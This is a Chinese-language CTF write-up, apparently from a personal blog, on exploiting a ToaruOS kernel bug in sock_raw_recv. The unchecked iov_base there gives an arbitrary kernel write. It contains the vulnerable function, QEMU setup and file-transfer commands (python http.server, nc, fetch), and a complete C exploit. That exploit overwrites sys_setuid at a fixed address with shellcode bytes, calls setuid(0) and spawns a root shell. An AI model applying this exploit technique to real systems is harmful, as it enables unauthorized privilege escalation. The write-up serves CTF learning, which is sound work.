分析

1.ToaruOS

2.可用漏洞点

https://github.com/klange/toaruos/commit/60bd809a401cea54d6aa7b8f8050cf88318d4971#diff-d87638782091eef5cc439e1de3659e51e8cd43acf45e69f0c9d1a2a1cd4131f4R283

可以使用sock_raw_recv造成任意地址写入,且题目未开启地址随机化

static long sock_raw_recv(sock_t * sock, struct msghdr * msg, int flags) {
    if (!sock->_fnode.device) return -EINVAL;
    if (msg->msg_iovlen > 1) {
        printf("net: todo: can't recv multiple iovs\n");
        return -ENOTSUP;
    }
    if (msg->msg_iovlen == 0) return 0;
    char * data = net_sock_get(sock);
    if (!data) return -EINTR;
    size_t packet_size = *(size_t*)data;
    if (msg->msg_iov[0].iov_len < packet_size) return -EINVAL;
    memcpy(msg->msg_iov[0].iov_base, data + sizeof(size_t), packet_size);
    free(data);
    return 4096;
}

细节

  • 要创建对应socket可以参考项目apps一些文件的写法
  • 编译文件:

​ 这样启动系统

#!/bin/bash
qemu-system-x86_64 -M q35 -m 3G -smp 4 -enable-kvm -cdrom image.iso \
    -nographic -no-reboot -audiodev none,id=id -serial null -serial mon:stdio \
    -fw_cfg name=opt/org.toaruos.gettyargs,string="-a local /dev/ttyS1 115200 xterm-256color" \
    -fw_cfg name=opt/org.toaruos.bootmode,string=headless

​ 下载编译工具

sudo msk update
sudo msk install build-essential

​ 与宿主机之间传递文件

#宿主机
python3 -m http.server 3000 &
nc -lvvp 3001 >exp
#qemu
fetch http://192.168.195.130:3000/exp.c >exp.c
upload.krk exp 192.168.195.130:3001

exp

#include <netinet/in.h>
#include <stdio.h>
#include <sys/socket.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <string.h>

#define MSG_LEN 0x10
#define WHERE 0x113b50    // Target address, where to write

int main(int argc, char * argv[]) {
    int sock = socket(AF_RAW, SOCK_RAW, 0);
    if (sock < 0) {
       printf("error creating socket\n");
       exit(-1);
    }
    printf("Socket created: %d\n", sock);

    if (setsockopt(sock, SOL_SOCKET, SO_BINDTODEVICE, "lo", strlen("lo")+1)) {
       printf("error setsockopt socket\n");
       exit(-1);
    }
    struct sockaddr_in server_addr;
    memset(&server_addr, 0, sizeof(server_addr));

    char msg[MSG_LEN] = "\x65\x48\x8b\x04\x25\x00\x00\x00\x00\x8b\x50\x1c\x85\xd2\x90\x90";
    struct iovec _iovec = {
        (void*)msg, MSG_LEN
    };
    struct msghdr header = {
        .msg_name = NULL,
        .msg_namelen = 0,
        .msg_iov = &_iovec,
        .msg_iovlen = 1,
        .msg_control = NULL,
        .msg_controllen = 0,
        .msg_flags = 0,
    };
    if (sendmsg(sock, &header, 0) < 0) {
            printf("sendmsg failed\n");
            exit(-1);
    }

    printf("message sent successfully\n");

    memset(&server_addr, 0, sizeof(server_addr));

    char msg2[MSG_LEN];
    struct iovec _iovec2 = {
        (void*)WHERE, MSG_LEN
    };
    struct msghdr header2 = {
        .msg_name = NULL,
        .msg_namelen = 0,
        .msg_iov = &_iovec2,
        .msg_iovlen = 1,
        .msg_control = NULL,
        .msg_controllen = 0,
        .msg_flags = 0,
    };

    printf("overwrite sys_setuid\n");
    // Trigger arbitrary memory write
    if (recvmsg(sock, &header2, 0) < 0) {
       printf("recvmsg failed\n");
       exit(-1);
    }
    setuid(0);
    system("esh");
    return 0;
}



追求现实的理想主义者。